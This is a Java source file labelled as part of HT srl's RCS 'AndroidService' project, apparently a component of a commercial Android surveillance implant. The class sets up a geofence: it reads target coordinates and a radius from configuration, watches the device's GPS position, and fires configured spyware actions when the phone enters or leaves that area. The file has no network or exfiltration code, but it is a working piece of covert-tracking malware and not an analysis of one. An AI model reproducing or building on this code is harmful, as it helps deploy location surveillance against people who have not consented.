/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EventLocation.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.event;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfEvent;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.module.position.GPSLocator;
import com.android.dvci.module.position.GPSLocatorDistance;
import com.android.dvci.module.position.RangeObserver;
import com.android.dvci.util.Check;
public class EventLocation extends BaseEvent implements RangeObserver {
private static final String TAG = "EventLocation"; //$NON-NLS-1$
int actionOnEnter;
int actionOnExit;
int distance;
float latitudeOrig;
float longitudeOrig;
GPSLocator locator;
@Override
public void actualStart() {
locator = new GPSLocatorDistance(this, latitudeOrig, longitudeOrig, distance);
locator.start();
}
@Override
public void actualStop() {
locator.halt();
try {
locator.join();
} catch (final InterruptedException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
}
locator = null;
onExit(); // di sicurezza
}
@Override
public boolean parse(ConfEvent conf) {
try {
distance = conf.getInt("distance");
latitudeOrig = (float) conf.getDouble("latitude");
longitudeOrig = (float) conf.getDouble("longitude");
if (Cfg.DEBUG) {
Check.log(TAG + " Lat: " + latitudeOrig + " Lon: " + longitudeOrig + " Dist: " + distance);//$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
}
} catch (final ConfigurationException ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
return false;
}
return true;
}
@Override
public void actualGo() {
}
public int notification(Boolean onEnter) {
if (Cfg.DEBUG) {
Check.log(TAG + " " + (onEnter ? "Entered" : "Exited"));
}
if (onEnter) {
onEnter();
} else {
onExit();
}
return 0;
}
}